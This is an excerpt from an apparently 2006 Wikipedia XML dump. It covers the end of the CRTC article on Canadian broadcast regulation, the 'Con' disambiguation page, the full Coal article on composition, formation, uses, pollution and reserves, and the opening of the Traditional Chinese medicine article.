* '''[[Satellite radio]]''': In [[June 2005]], the CRTC outraged some Canadian [[cultural nationalism|cultural nationalists]] and [[labour union]]s by licencing two companies, [[Canadian Satellite Radio]] and [[Sirius Canada]] to offer satellite radio services in Canada.  The two companies are in partnership with [[United States|American]] firms [[XM Satellite Radio]] and [[Sirius Satellite Radio]] respectively, and in accordance with the CRTC decision will only need to offer ten percent Canadian content.  The CRTC contends that this low level of Canadian content, particularly when compared to the 35 percent rule on local radio stations, was necessary because unlicenced U.S. receivers were already flooding into the country, so that enforcing a ban on these receivers would be nearly impossible (see below).  This explanation did not satisfy cultural nationalists, who demanded that the [[Cabinet of Canada|federal cabinet]] overturn the decision and mandate a minimum of 35 percent Canadian content.  Supporters of the decision argue that satellite radio can only be feasibly set up as a continental system, and trying to impose 35 percent Canadian content across North America is quite unrealistic.  They also argue that satellite radio will boost Canadian culture by giving vital exposure to independent artists, instead of just concentrating on the country's stars, and point to the CRTC's successful extraction of promises to program 10 percent Canadian content on satellite services already operational in the United States as important concessions.  [http://news.yahoo.com/news?tmpl=story&amp;u=/cpress/20050627/ca_pr_on_en/satellite_radio_3] On the other hand some  consumers and financial analysts believe that any Canadian content conditions are unnecessarily strict and might hamper  the ability of Canadians to legally listen to many of the services currently provided by both providers. 

Despite popular perception that the CRTC banned [[Sirius Canada]] from broadcasting [[Howard Stern]]'s program, this is not the case. Sirius Canada in fact ''chose'' not to air Stern based on the ''possibility'' of a future issue with the CRTC.

==Reception of non-Canadian services==

While an exact number has not been determined, thousands of Canadians have purchased and used what they contend to be [[grey market]] radio and television services, licenced in the [[United States]] but not in Canada.  Users of these unlicenced services contend that they are not directly breaking any laws by simply using the equipment.  The equipment is usually purchased from an [[United States|American]] supplier (although some merchants have attempted to set up shop in Canada) and the services are billed to an American postal address.  The advent of [[online billing]] and the easy availability of [[credit card]] services has made it relatively easy for almost anyone to maintain an account in good standing, regardless of where they actually live.

Under the Radiocommunication Act s. 4(1), radio or television equipment or service not specifically authorized for use in Canada falls into a [[black market]] category, contravening Canadian law. Until 2004, some debate ensued as to whether the purchase and tuning of equipment to receive unscrambled or lawfully paid-for programming not licensed by the CRTC in fact constituted black-market activity which was certainly illegal or merely grey-market which was possibly illegal; amendments to the Radiocommunication Act in 2004 resolved this debate. The implication of this illegality is that law enforcement agencies tasked with upholding the Radiocommunication Act, such as the [[Royal Canadian Mounted Police]], have the right not only to act against merchants vending unauthorized services within Canada, but also to identify, seize, and prosecute the use of illegal equipment itself. To date, however, no cable or satellite provider or any other party with standing to do so has pressed charges against individual users, only against retailers selling access to unlicensed services commercially. Canadian [[credit card]] companies have also reportedly come under pressure to refuse to process payments to American satellite providers made by Canadians claiming American residency for subscription purposes. 

Satellite radio poses a more complicated problem for the CRTC.  While an unlicenced satellite dish can often be  identified easily, satellite radio receivers are much more compact and can rarely be easily identified.  Some observers argued that this influenced the CRTC's June 2005 decision to ease Canadian content restrictions on satellite radio (see above).

==Structure==
The CRTC is run by up to 13 full-time (including the chairperson, the vice-chairperson of broadcasting, and the vice-chairperson of telecommunications) and 6 part-time commissioners appointed by the Cabinet for renewable terms of up to 5 years. Only full-time commissioners can participate in the decision-making process for telecommunications and all commissioners are involved in broadcasting decisions. The current chairman is [[Charles Dalfen]].

==See also==
* [[Category 1 channels (Canada)|Category 1 channels]]
* [[Category 2 channels (Canada)|Category 2 channels]]

==External links==
*[http://www.crtc.gc.ca CRTC]

[[Category:Canadian media regulation]]
[[Category:Canadian federal departments and agencies]]
[[Category:Communications in Canada]]
[[Category:Communications authorities]]
[[Category:1968 establishments]]

[[fr:Conseil de la radiodiffusion et des télécommunications canadiennes]]</text>
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  </page>
  <page>
    <title>Con</title>
    <id>5986</id>
    <revision>
      <id>35061273</id>
      <timestamp>2006-01-13T21:09:52Z</timestamp>
      <contributor>
        <ip>82.128.187.86</ip>
      </contributor>
      <comment>Minor: Removed quotation marks around 'convict' and changed it to wikilink.</comment>
      <text xml:space="preserve">*'''Con''' is a variant on the Latin [[prefix]] &quot;com&quot;, meaning &quot;with&quot; or &quot;together&quot;
*In [[Spanish language|Spanish]], '''''con''''' is the word for ''with'', and as such appears in some Spanish borrowings such as &quot;[[chili con carne]]&quot;.
*In [[Hong Kong English]], '''''[[contact lens|con]]''''' is the short form for [[contact lens|contact lens(es)]].
*'''Con''' is an alternate spelling for the god Kon in [[Inca mythology]],
*'''Con''' is an [[apocopation]] of '[[confidence trick]]', which is a scam pulled off by a 'con man'.
*'''Con''' is an apocopation of [[convention]]. Used primarily in the titles of the conventions.
*'''Con''' is an apocopation of [[convict]], as in &quot;ex-con&quot;.
*'''Con''' is an [[adverb]] meaning &quot;against&quot; (short for Latin &quot;contra&quot;)
*'''[[Con (television series)|Con]]''' is the name of a [[television series]] on [[Comedy Central]].
*'''[[Con (Mossi state)|Con]]''' was a state located in what is now [[Burkina Faso]].
*'''Con''' is also an abbreviation of &quot;[[conference]]&quot;.
*'''[[Conning tower|Con]]''' is a verb meaning to steer (a ship) by giving instructions to the helmsman.
It is ironic that the prefix definition of &quot;con&quot; is antonymous with the adverb definition.

{{disambig}}</text>
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  </page>
  <page>
    <title>Coal</title>
    <id>5987</id>
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      <id>41995312</id>
      <timestamp>2006-03-03T02:44:18Z</timestamp>
      <contributor>
        <username>King of Hearts</username>
        <id>258000</id>
      </contributor>
      <comment>/* External links */ add link</comment>
      <text xml:space="preserve">'''Coal''' is a [[fossil fuel]] extracted from the ground by underground mining or open-pit mining ([[strip mining]]). It is a readily combustible black or brownish-black [[sedimentary rock]]. It is composed primarily of [[carbon]] along with assorted other elements, including [[sulfur]]. Often associated with the [[Industrial Revolution]], coal remains an enormously important fuel and is the largest single source of [[electricity]] world-wide. In the [[United States]], for example, the burning of coal generates 50% of the electricity consumed. 

[[Image:Coal.jpg|thumb|right|250px|Coal]]

== Etymology and folklore ==
The word &quot;coal&quot; came from [[Anglo-Saxon]] ''col'', which meant [[charcoal]]. Coal was not mined in Britain before the late [[Middle Ages]]; i.e. after ca. [[1000]] AD. [[Mineral]] coal was referred to as '''sea-coal''', either because it was found on beaches occasionally having fallen from the exposed coal seams above or washed out of underwater [[coal seam]] [[outcrop]]s, or because it was easier to transport by sea rather than on the very poor road system; in [[London]], [[England]] there is still a Seacoal Lane (off the north side of [[Ludgate Hill]]) where the coal merchants conducted their business 

It is associated with the [[astrology|astrological]] sign [[Capricorn]].  It is carried by thieves to protect them from detection and to help them to escape when pursued.  It is an element of a popular ritual associated with [[New Year's Eve]]. To dream of burning coals is a symbol of disappointment, trouble, affliction, and loss, unless they are burning brightly, when the symbol gives promise of uplifting and advancement. 

[[Santa Claus]] is said to leave a lump of coal instead of [[Christmas]] presents in the stockings of naughty children.

== Composition ==
Carbon forms more than 50 percent by weight and more than 70 percent by volume of coal (this includes inherent moisture). This is dependent on coal ''rank'', with higher rank coals containing less hydrogen, oxygen and nitrogen, until 95% purity of carbon is achieved at [[Anthracite coal|Anthracite]] rank and above. [[Graphite]] formed from coal is the end-product of the thermal and [[diagenesis|diagenetic]] conversion of plant matter (50% by volume of water) into pure carbon. 

Coal usually contains a considerable amount of incidental moisture, which is the water trapped within the coal in between the coal particles. Coals are usually mined wet and may be stored wet to prevent spontaneous combustion, so the carbon content of coal is quoted as both a 'as mined' and on a 'moisture free' basis. 

Lignite and other low-rank coals still contain a considerable amount of water and other volatile components trapped within the particles of the coal, known as its [[maceral]]s. This is present either within the coal particles, or as hydrogen and oxygen atoms within the molecules. This is because coal is converted from [[carbohydrate]] material such as [[cellulose]], into carbon, which is an incremental process (see below). Therefore coal carbon contents also depend heavily on the degree to which this cellulose component is preserved in the coal.

Other constituents of coals include [[mineral]] matter, usually as [[silicate]] minerals such as [[clay]]s, [[illite]], [[kaolin]]ite and so forth, as well as [[carbonate]] minerals like [[siderite]], [[calcite]] and [[aragonite]]. Iron sulfide minerals such as [[pyrite]] are common constituents of coals. Sulfate minerals are also found, as is some form of salt, trace amounts of metals, notably iron, uranium and cadmium, and rarely gold. 

[[Methane]] gas is another component of coal, produced not from bacterial means but from methanogenesis. Methane in coal is dangerous as it can cause coal seam explosions especially in underground mines, and may cause the coal to spontaneously combust. It is, however, a valuable by-product of some coal mining, serving as a significant source of [[natural gas]].

Coal composition is determined by specific [[coal assay]] techniques, and is performed to quantify the physical, chemical and mechanical behaviour of the coal, including whether it is a good candidate for [[coke (fuel)|coking coal]].

==Origin of coal==
Coal is formed from plant remains that have been compacted, hardened, chemically altered, and metamorphosed by heat and pressure over [[geologic time]]. 

Coal was formed in [[swamp]] [[ecosystem|ecosystems]] which persisted in lowland sedimentary basins similar, for instance, to the [[peat]] swamps of [[Borneo]] today. These swamp environments were formed during slow subsidence of passive continental margins, and most seem to have formed adjacent to estuarine and marine sediments suggesting that they may have been in tidal delta environments.

When plants die in these peat swamp environments, their [[biomass]] is deposited in [[wikt:anaerobic|anaerobic]] aquatic environments where low [[oxygen]] levels prevent their complete decay by bacteria and oxidation. For masses of undecayed organic matter to be preserved and to form economically valuable coal the environment must remain steady for prolonged periods of time, and the waters feeding these peat swamps must remain essentially free of sediment. This requires minimal erosion in the uplands of the rivers which feed the coal swamps, and efficient trapping of the sediments. 

Eventually, and usually due to the initial onset of [[orogeny]] or other tectonic events, the coal forming environment ceases. In the majority of cases this is abrupt, with the majority of coal seams having a knife-sharp upper contact with the overlying sediments. This suggests that the onset of further sedimentation quickly destroys the peat swamp ecosystem and replaces it with meandering stream and river environments during ongoing subsidence.

Burial by sedimentary loading on top of the peat swamp converts the organic matter to coal by the following processes;
* compaction, due to loading of the sediments on the coal which flattens the organic matter
* removal of the water held within the peat in between the plant fragments
* with ongoing compaction, removal of water from the inter-cellular structure of fossilised plants
* with heat and compaction, removal of molecular water
* methanogenesis; similar to treating wood in a pressure cooker, methane is produced, which removes hydrogen and some carbon, and some further oxygen (as water)
* dehydrogenation, which removes [[hydroxyl]] groups from the cellulose and other plant molecules, resulting in the production of hydgen-reduced coals

Generally, to form a coal seam 1 metre thick, between 10 and 30 metres of peat is required. Peat has a moisture content of up to 90%, so loss of water is of prime importance in the conversion of peat into [[lignite]], the lowest rank of coal. Lignite is then converted by dehydrogenation and methanogenesis to sub-bituminous coal. Further dehydrogenation reactions, removing progressively more methane and higher hydrocarbon gases such as [[ethane]], [[propane]], etcetera, create [[bituminous coal]] and, when this process is complete at sub-metamorphic conditions, [[anthracite]] and [[graphite]] are formed. 

Evidence of the types of plants that contributed to carbonaceous deposits can occasionally be found in the shale and sandstone sediments that overlie coal deposits and within the coal. Fossil evidence is best preserved in lignites and sub-bituminous coals, though fossils in anthracite is not too rare. To date only three fossils have been found in graphite seams created from coal. 

The greatest coal-forming time in geologic history was during the [[Carboniferous]] era (280 to 345 million years ago). Further large deposits of coal are found in the [[Permian]], with lesser but still significant [[Triassic]] and [[Jurassic]] deposits, and minor [[Cretaceous]] and younger deposits of [[lignite]]. In the modern European lowlands of Holland and Germany considerable thicknesses of peat have accumulated, testifying to the ubiquity of the coal-forming process. 

In Europe, Asia, and North America, the [[Carboniferous]] coal was formed from tropical swamp forests, which are sometimes called the &quot;coal forests&quot;. Southern hemisphere Carboniferous coal was formed from the [[Glossopteris]] [[flora]], which grew on cold [[periglacial]] [[tundra]] when the South Pole was a long way inland in [[Gondwanaland]].

A speculative inorganic process was proposed by [[Thomas Gold]] in his book ''The Deep Hot Biosphere: The Myth of Fossil Fuels.'' He proposes that black coal is continually created from the condensates of magma under the [[Earth's crust]]. This speculative hypothesis makes a distinction between brown and black coal, and upholds that brown coal is formed by the classical organic process.

== Types of coal ==
As geological processes apply [[pressure]] to [[peat]] over time, it is transformed successively into:
* [[Lignite]] - also referred to as brown coal, is the lowest rank of coal and used almost exclusively as fuel for steam-electric power generation. [[Jet (lignite)|Jet]] is a compact form of lignite that is sometimes polished and has been used as an [[ornamental]] stone since the [[Iron Age]].
* [[Sub-bituminous coal]] - whose properties range from those of lignite to those of bituminous coal and are used primarily as fuel for steam-electric power generation. 
* [[Bituminous coal]] - a dense coal, usually black, sometimes dark brown, often with well-defined bands of bright and dull material, used primarily as fuel in steam-electric power generation, with substantial quantities also used for heat and power applications in manufacturing and to make [[Coke (fuel)|coke]]. 
* [[Anthracite]] - the highest rank, used primarily for residential and commercial space heating.

== Uses ==
[[Image:DSCN4524 ashtabulacoalcars e2.jpg|250px|left|thumb|Coal rail cars in [[Ashtabula, Ohio]].]]

===Coal as fuel===
:''See also [[Clean coal]]''

Coal is primarily used as a solid [[fuel]] to produce heat through combustion. 

World coal consumption is about 5,800 million short tons (5.3 [[petagram]]s) annually, of which about 75% is used for electricity production.  The region including [[China]] and [[India]] uses about 1,700 million short tons (1.5 Pg) annually, forecast to exceed 3,000 million short tons (2.7 Pg) in [[2025]]. {{ref|www.eia.doe.gov.751}}  The USA consumes about 1,100 million short tons (1.0 Pg) of coal each year, using 90% of it for generation of electricity.  Coal is the fastest growing energy source in the world, with coal use increasing by 25% for the three-year period ending in December 2004 (BP Statistical Energy Review, June 2005).

When coal is used in [[electricity generation]], it is generally pulverized and then burned. The heat produced is used to create [[steam]], which is then used to spin [[turbine]]s which turn generators and create electricity. Approximately 40% of the Earth's current electricity production is powered by coal, and the total known deposits recoverable by current technologies are sufficient for 300 years' use at current rates (see World Coal Reserves, below).

A promising, more energy efficient way of using coal for electricity production would be via [[solid-oxide fuel cell]]s or [[molten-carbonate fuel cell]]s (or any oxygen ion transport based fuel cells that do not discriminate between fuels, as long as they consume oxygen), which would be able to get 60%-85% combined efficiency (direct electricity + waste heat steam turbine), compared to 30-40% currently possible with only steam turbines. Currently these fuel cell technologies can only process gaseous fuels, and they are also sensitive to sulfur poisoning, issues which would first have to be worked out before large scale commercial success is possible with coal. As far as gaseous fuels go, one idea is pulverized coal in a gas carrier (nitrogen), especially if the resulting carbon dioxide is sequestered, and has to be separated anyway from the carrier. A better idea is coal gasification with water, then the water recycled.

&lt;div style=&quot;clear: both&quot;&gt;&lt;/div&gt;

====Gasification==== 
High prices of oil and natural gas are leading to increased interest in &quot;BTU Conversion&quot; technologies such as coal gasification, methanation, liquefacation, and solidification. 

In the past, coal was converted to make [[town gas | coal gas]], which was piped to customers to burn for illumination, heating, and cooking.  At present, the safer [[natural gas]] is used instead. South Africa still uses gasification of coal for much of its petrochemical needs.  

Gasification is also a possibility for future energy use, as it generally burns hotter and cleaner than conventional coal and can thus spin a more efficient [[gas turbine]] rather than a steam turbine.  It also makes for the possibility of zero carbon dioxide emissions even though the energy comes from the conversion of carbon to carbon dioxide.  This is because gasification produces a much higher concentration of carbon dioxide than direct combustion of coal in [[air]] (which is mostly nitrogen).  The higher concentrations of carbon dioxide makes [[carbon capture and storage]] more economical than otherwise.

====Liquefaction====
Coal can also be converted into [[synthetic fuel|liquid fuels]] like [[gasoline]] or [[diesel]] by several different processes.  The [[Fischer-Tropsch process]] of indirect synthesis of liquid hydrocarbons was used in [[Nazi Germany]], and for many years by [[Sasol]] in [[South Africa]] - in both cases, because those regimes were politically isolated and unable to purchase [[crude oil]] on the open market. Coal would be gasified to make [[syngas]] (a balanced purified mixture of CO and H&lt;sub&gt;2&lt;/sub&gt; gas) and the syngas condensed using Fischer-Tropsch catalysts to make light hydrocarbons which are further processed into  [[gasoline]] and [[diesel]]. Syngas can also be converted to [[methanol]]: which can be used as a fuel, fuel additive, or further processed into gasoline via the [[Mobil]] M-gas process. 

A direct liquefaction process [[Bergius process]] (liquefaction by hydrogenation) is also available but has not been used outside [[Germany]], where such processes were operated both during [[World War I]] and [[World War II]]. SASOL in South Africa has experimented with direct hydrogenation.  Several other direct liquefaction processes have been developed, among these being the SRC-I and SRC-II (Solvent Refined Coal) processes developed by [[Gulf Oil]] and implemented as pilot plants in the United States in the 1960's and 1970's.{{ref|TSRCoalLiquefaction}}

Yet another process to manufacture liquid hydrocarbons from coal is  low temperature carbonization (LTC). Coal is coked at temperatures between 450 and 700 °C compared to 800 to 1000 °C for metalurgical coke. These temperatures optimize the production of coal tars richer in lighter hydrocarbons than normal coal tar. The coal tar is then further processed into fuels. The process was developed by Lewis Karrick, an oil shale technologist at the U.S. Bureau of Mines in the 1920s.{{ref|www.rexresearch.com.752}} 

All of these liquid fuel production methods release [[carbon dioxide]] (CO&lt;sub&gt;2&lt;/sub&gt;) in the conversion process, far more than is released in the extraction and refinement of liquid fuel production from petroleum.  If these methods were adopted to replace declining petroleum supplies carbon dioxide emissions would be greatly increased on a global scale.  For future liquefaction projects, [[Carbon dioxide sequestration]] is proposed to avoid releasing it into the atmosphere. As CO&lt;sub&gt;2&lt;/sub&gt; is one of the process streams, sequestration is easier than from flue gases produced in [[combustion]] of coal with [[Earth's atmosphere|air]], where CO&lt;sub&gt;2&lt;/sub&gt; is diluted by [[nitrogen]] and other gases.  Sequestration will, however, add to the cost.  

Coal liquefaction is one of the backstop technologies that limit escalation of oil prices. Estimates of the cost of producing liquid fuels from coal suggest that domestic U.S. production of fuel from coal becomes cost-competitive with oil priced at around 35 USD per barrel {{ref|www.findarticles.com.753}}, (break-even cost), which is well above historical averages - but is now viable due to the spike in oil prices in 2004-2005. {{ref|www.coalpeople.com.754}}. 

Among commercially mature technologies, advantage for indirect coal liquefaction over direct coal liquefaction are reported by Williams and Larson (2003). Estimates are reported for sites in China where break-even cost for coal liquefaction may be in the range between 25 to 35 USD/barrel of oil.

===Coking and use of coke===
{{main|Coke (fuel)}}

[[coke (fuel)|Coke]] is a solid carbonaceous residue derived from low-ash, low-sulfur [[bituminous coal]] from which the volatile constituents are driven off by baking in an oven without oxygen at temperatures as high as 1,000 °C (2,000 °F) so that the fixed carbon and residual ash are fused together. Coke is used as a fuel and as a reducing agent in smelting [[iron]] ore in a blast furnace. Coke from coal is grey, hard, and porous and has a heating value of 24.8 million Btu/ton (29.6 MJ/kg). Byproducts of this conversion of coal to coke include [[coal-tar]], [[ammonia]], light oils, and &quot;[[coal-gas]]&quot;. 

[[Petroleum coke]] is the solid residue obtained in [[oil refining]], which resembles coke but contains too many impurities to be useful in metallurgical applications.

===Harmful effects of coal burning===
Combustion of coal, like any other compound containing carbon, produces [[carbon dioxide]] (CO&lt;sub&gt;2&lt;/sub&gt;), along with varying amounts of [[sulfur dioxide]] (SO&lt;sub&gt;2&lt;/sub&gt;) depending on where it was mined. Sulfur dioxide reacts with water to form [[sulfurous acid]]. If sulfur dioxide is discharged into the atmosphere, it reacts with water vapor and is eventually returned to the Earth as [[acid rain]]. 

Emissions from coal-fired power plants represent the largest source of [[carbon dioxide]] emissions, a primary cause of [[global warming]].  Many other pollutants are present in coal power station emissions.  Some studies claim that coal power plant emissions are responsible for tens of thousands of premature deaths annually in the United States alone. Modern [[power plant]]s utilize a variety of techniques to limit the harmfulness of their waste products and improve the efficiency of burning, though these techniques are not widely implemented in some countries, as they add to the capital cost of the power plant. To eliminate CO&lt;sub&gt;2&lt;/sub&gt; emissions from coal plants, [[carbon capture and storage]] has been proposed but is not yet in use.

Coal also contains many trace elements, including [[arsenic]] and [[mercury (element)|mercury]], which are dangerous if released into the environment. Coal also contains low levels of [[uranium]], [[thorium]], and other naturally-occurring [[radioactive isotopes]] whose release into the environment may lead to [[radioactive contamination]].{{ref|www.ornl.gov.755}}{{ref|greenwood.cr.usgs.gov.756}}  While these substances are trace impurities, enough coal is burned that significant amounts of these substances are released, paradoxically resulting in more radioactive waste than nuclear power.

==Coal fires==
There are hundreds of coal fires burning around the world.{{ref|www.coalfire.caf.dlr.de.757}}  Those burning underground can be difficult to locate and many can not be extinguished.  Fires can cause the ground above to subside, combustion gases are dangerous to life, and breaking out to the surface can initiate surface wildfires.

Coal seams can be set on fire by [[spontaneous combustion]] or contact with a mine fire or surface fire.  A grass fire in a coal area can set dozens of coal seams on fire.{{ref|resourcescommittee.house.gov.758}} {{ref|www.fire.blm.gov.58}}  Coal fires in China burn 120 million tons of coal a year, emitting 360 million metric tons of carbon dioxide.  This amounts to 2-3% of the annual worldwide production of CO&lt;sub&gt;2&lt;/sub&gt; from fossil fuels, or as much as emitted from all of the cars and light trucks in the United States. {{ref|ehp.niehs.nih.gov.759}} {{ref|www.itc.nl.59}}

In the [[United States]] , a trash fire was lit in the borough landfill located in an abandoned [[Anthracite]] [[strip mine]] pit in the portion of the [[Coal Region]] called [[Centralia, Pennsylvania]] from 1962. It burns underground today, 44 years later.

The reddish siltstone rock that caps many ridges and buttes in the [[Powder River Basin]] ([[Wyoming]]), and in western [[North Dakota]] is called '''[[porcelanite]]''', which also may resemble the coal burning waste &quot;[[clinker]]&quot; or volcanic &quot;[[scoria]].&quot; {{ref|www.state.nd.us.760}}  Clinker is rock that has been fused by the natural burning of coal.  In the case of the Powder River Basin approximately 27 to 54 billion metric tons of coal burned within the past three million years. {{ref|www.blm.gov.761}}  Wild coal fires in the area were reported by the [[Lewis and Clark expedition]] as well as explorers and settlers in the area. {{ref|www.wsgs.uwyo.edu.762}}

The [[Australia]]n [[Burning Mountain]] was originally believed to be a volcano, but the smoke and ash comes from a coal fire which may have been burning for 5,000 years.{{ref|www.nationalparks.nsw.gov.au.763}}

==World coal reserves==
It has been estimated that, as of 1996, there is around one [[exa|exagram]] (1 &amp;times; 10&lt;sup&gt;15&lt;/sup&gt; kg) of total coal reserves  accessible using current mining technology, approximately half of it being hard coal.  The energy value of all the world's coal is well over 100,000 quadrillion [[British thermal unit|Btu]] (100 [[zetta|zettajoules]]).  There probably is enough coal to last for 300 years. However, this estimate assumes no rise in population, and no increased use of coal to attempt to compensate for the depletion of natural gas and petroleum.  A recent (2003) study by scientist [[Gregson Vaux]], which takes those factors into account, estimates that coal could peak in the United States as early as 2046, on average.  &quot;Peak&quot; does not mean coal will disappear, but defines the time after which no matter what efforts are expended coal production will begin to decline in quantity and energy content. The disappearance of coal will occur much later, around the year 2267, assuming all other factors do not change, which they naturally will.{{ref|www.fromthewilderness.com.764}}  British Petroleum, in its annual report 2005, estimated at 2004 end, there were 909,064 million tons of ''proved'' coal reserves worldwide, or 164 years [[reserve to production ratio]].

[[Image:Us coal regions 1996.png|thumb|right|US coal regions.]]
The [[United States Department of Energy]] uses estimates of coal reserves in the region of 1,081,279 million short tons, which is about 4,786 BBOE (billion [[barrel of oil equivalent|barrels of oil equivalent]]) &lt;!-- (1,081,279*0.907186*4.879) --&gt;{{ref|www.eia.doe.gov.765}}. The amount of coal burned during 2001 was calculated as 2.337 [[GTOE]] (gigatonnes of oil equivalent), which is about 46 MBOED (million barrels of oil equivalent per day) &lt;!-- (2,126*7.9/365) --&gt;{{ref|www.iea.org.766}}. At that rate those reserves will last 285 years&lt;!-- (4,786,000/46/365) --&gt;. As a comparison natural gas provided 51 MBOED, and oil 76 MBD (million barrels per day) during 2001.

== See also ==
* [[Charcoal]]
* [[Clean coal]]
* [[Coal assay]] 
* [[Coal dust]]
* [[Coal Measure]] (stratigraphic unit)
* [[Coal mining]] techniques
* [[Coal-tar]]
* [[Energy value of coal]]
* [[Fluidized bed combustion]]
* [[Future energy development]]
* [[Granular material]]
* [[History of coal mining]]
* [[List of environment topics]]
* [[List of rocks]]
* [[Major coal producing regions]]

==External links==
{{Commons|Coal}}
* [http://www.msnbc.msn.com/id/5174391/ MSNBC report on coal pollution health effects in the United States]
* [http://www.uic.com.au/nip83.htm Clean coal technologies] 
** [http://www.ucsusa.org/CoalvsWind/brief.coal.html Use of coal gas in fuel cells]
** [http://www.jcoal.or.jp/overview_en/gijutsu.html Advanced methods of using coal] ([[Japanese Coal Energy Center]])
* [http://www.learnaboutcoal.org Learnaboutcoal.org]

==References==
* Dan Rottenberg, ''In the Kingdom of Coal''. A narrative history of the U.S. coal industry. (Routledge, 2003.) 
* {{cite journal | author=Robert H. Williams and Eric D. Larson | title=A comparison of direct and indirect liquefaction technologies for making fluid fuels from coal | journal=Energy for Sustainable Development | year=December 2003 | volume=VII | pages=103-129}}, also [http://www.ieiglobal.org/ESDVol7No4/dclversussicl.pdf]
# {{note|www.eia.doe.gov.751}} {{cite web | title=International Energy Outlook | url=http://www.eia.doe.gov/oiaf/ieo/coal.html | accessdate= September 9 | accessyear= 2005 }}
# {{note|TSRCoalLiquefaction}} {{Citepaper_publisher | Author=Cleaner Coal Technology Programme | Title=Technology Status Report 010: Coal Liquefaction | Publisher=Department of Trade and Industry (UK) | PublishYear=October 1999 | URL=http://www.dti.gov.uk/energy/coal/cfft/cct/pub/tsr010.pdf}}
# {{note|www.rexresearch.com.752}} {{cite web | title=http://www.rexresearch.com/karrick/karric~1.htm | url=http://www.rexresearch.com/karrick/karric~1.htm | accessdate= September 9 | accessyear= 2005 }}
# {{note|www.findarticles.com.753}} {{cite web | title=Diesel Fuel News: Ultra-clean fuels from coal liquefaction: China about to launch big projects - Brief Article | url=http://www.findarticles.com/p/articles/mi_m0CYH/is_15_6/ai_89924477 | accessdate= September 9 | accessyear= 2005 }}
# {{note|www.coalpeople.com.754}} {{cite web | title=Welcome to Coal People Magazine | url=http://www.coalpeople.com/old_coalpeople/march03/tiny_tomorrow.htm | accessdate= September 9 | accessyear= 2005 }}
# {{note|www.ornl.gov.755}} {{cite web | title=Coal Combustion | url=http://www.ornl.gov/info/ornlreview/rev26-34/text/colmain.html | accessdate= September 9 | accessyear= 2005 }}
# {{note|greenwood.cr.usgs.gov.756}} {{cite web | title=Radioactive Elements in Coal and Fly Ash, USGS Factsheet 163-97 | url=http://greenwood.cr.usgs.gov/energy/factshts/163-97/FS-163-97.html | accessdate= September 9 | accessyear= 2005 }}
# {{note|www.coalfire.caf.dlr.de.757}} {{cite web | title=Sino German Coal fire project | url=http://www.coalfire.caf.dlr.de/projectareas/world_wide_distribution_en.html | accessdate= September 9 | accessyear= 2005 }}
# {{note|resourcescommittee.house.gov.758}} {{cite web | title=Committee on Resources-Index | url=http://resourcescommittee.house.gov/archives/108/testimony/johnmasterson.htm | accessdate= September 9 | accessyear= 2005 }}
# {{note|www.fire.blm.gov.58}} {{cite web | title=http://www.fire.blm.gov/textdocuments/6-27-03.pdf | url=http://www.fire.blm.gov/textdocuments/6-27-03.pdf | accessdate= September 9 | accessyear= 2005 }}
# {{note|ehp.niehs.nih.gov.759}} {{cite web | title=EHP 110-5, 2002: Forum | url=http://ehp.niehs.nih.gov/docs/2002/110-5/forum.html | accessdate= September 9 | accessyear= 2005 }}
# {{note|www.itc.nl.59}} {{cite web | title=Overview about ITC's activities in China | url=http://www.itc.nl/personal/coalfire/activities/overview.html | accessdate= September 9 | accessyear= 2005 }}
# {{note|www.state.nd.us.760}} {{cite web | title=North Dakota's Clinker | url=http://www.state.nd.us/ndgs/ndnotes/ndn13_h.htm | accessdate= September 9 | accessyear= 2005 }}
# {{note|www.blm.gov.761}} {{cite web | title=BLM-Environmental Education- The High Plains | url=http://www.blm.gov/education/high_plains/article.html | accessdate= September 9 | accessyear= 2005 }}
# {{note|www.wsgs.uwyo.edu.762}} {{cite web | title=http://www.wsgs.uwyo.edu/Coal/CR01-1.pdf | url=http://www.wsgs.uwyo.edu/Coal/CR01-1.pdf | accessdate= September 9 | accessyear= 2005 }}
# {{note|www.nationalparks.nsw.gov.au.763}} {{cite web | title=Burning Mountain Nature Reserve | url=http://www.nationalparks.nsw.gov.au/parks.nsf/ParkContent/N0503?Opendocument&amp;ParkKey=N0503&amp;Type=xo | accessdate= September 9 | accessyear= 2005 }}
# {{note|www.fromthewilderness.com.764}} {{cite web | title=The Peak in U.S. Coal Production | url=http://www.fromthewilderness.com/free/ww3/052504_coal_peak.html | accessdate= September 9 | accessyear= 2005 }}
# {{note|www.eia.doe.gov.765}} {{cite web | title=International Energy Annual 2003: Reserves | url=http://www.eia.doe.gov/emeu/iea/res.html | accessdate= September 9 | accessyear= 2005 }}
# {{note|www.iea.org.766}} {{cite web | title=IEA Publications Bookshop | url=http://www.iea.org/dbtw-wpd/bookshop/add.aspx?id=144 | accessdate= September 9 | accessyear= 2005 }}

[[Category:Coal|*]]
[[Category:Sedimentary rocks]]
[[Category:economic geology]]

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    <title>Chuck Palahniuck</title>
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    <title>Traditional Chinese medicine</title>
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      <comment>clean up + bad link repair.  [[Wikipedia:Bad links|You can help!]] using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">[[Image:ChineseMedicine-HK.JPG|thumb|right|300px|TCM shop in Tsim Sha Tsui, Hong Kong.]]
'''Traditional Chinese medicine''' (TCM) also known simply as '''Chinese medicine''' ([[Chinese language|Chinese]]: 中醫學, zhōngyī xué, or 中藥學, zhōngyaò xué) is the name commonly given to a range of [[traditional medicine|traditional medical]] practices used in [[China]] that have developed over the course of several thousand years of history.  It is also regarded as an instance of '''oriental medicine''', a term which may include other traditional Asian medical systems such as [[Kampo|Japanese]], [[Traditional Korean medicine|Korean]],
[[Traditional Tibetan medicine|Tibetan]], and [[Traditional Mongolian medicine|Mongolian]] medicine.  Chinese medicine principally employs a method of analysis and synthesis, inquiring on a macro-level into the internal systems of the human body and their mutual relationships with the internal and external environment in an attempt to gain an understanding of the fundamental laws which govern the functioning of the human organism, and to apply this understanding to the treatment and prevention of disease, and health maintenance.  TCM is rooted in a unique, comprehensive and systematic theoretical structure which includes the Theory of the [[Five elements (Chinese philosophy)|Five Elements]], the human body [[Meridian (Chinese medicine)|Meridian]] system, [[Yin-yang]] and other systems.  Treatment is conducted with reference to this philosophical framework.

==Uses==
In the [[West]],
TCM is often considered [[alternative medicine]]; however, in [[mainland China]] and [[Taiwan]], TCM is widely considered to be an integral part of the health care [[system]].  The term TCM is sometimes used specifically within the field of Chinese
medicine to refer to the standardized set of theories and practices
introduced in the mid-[[20th century]] under the government of [[Mao Zedong|Mao]], as
distinguished from related traditional theories and practices preserved by people in Taiwan, [[Hong Kong]] and by the [[overseas Chinese]]. The more general sense is meant in this article.

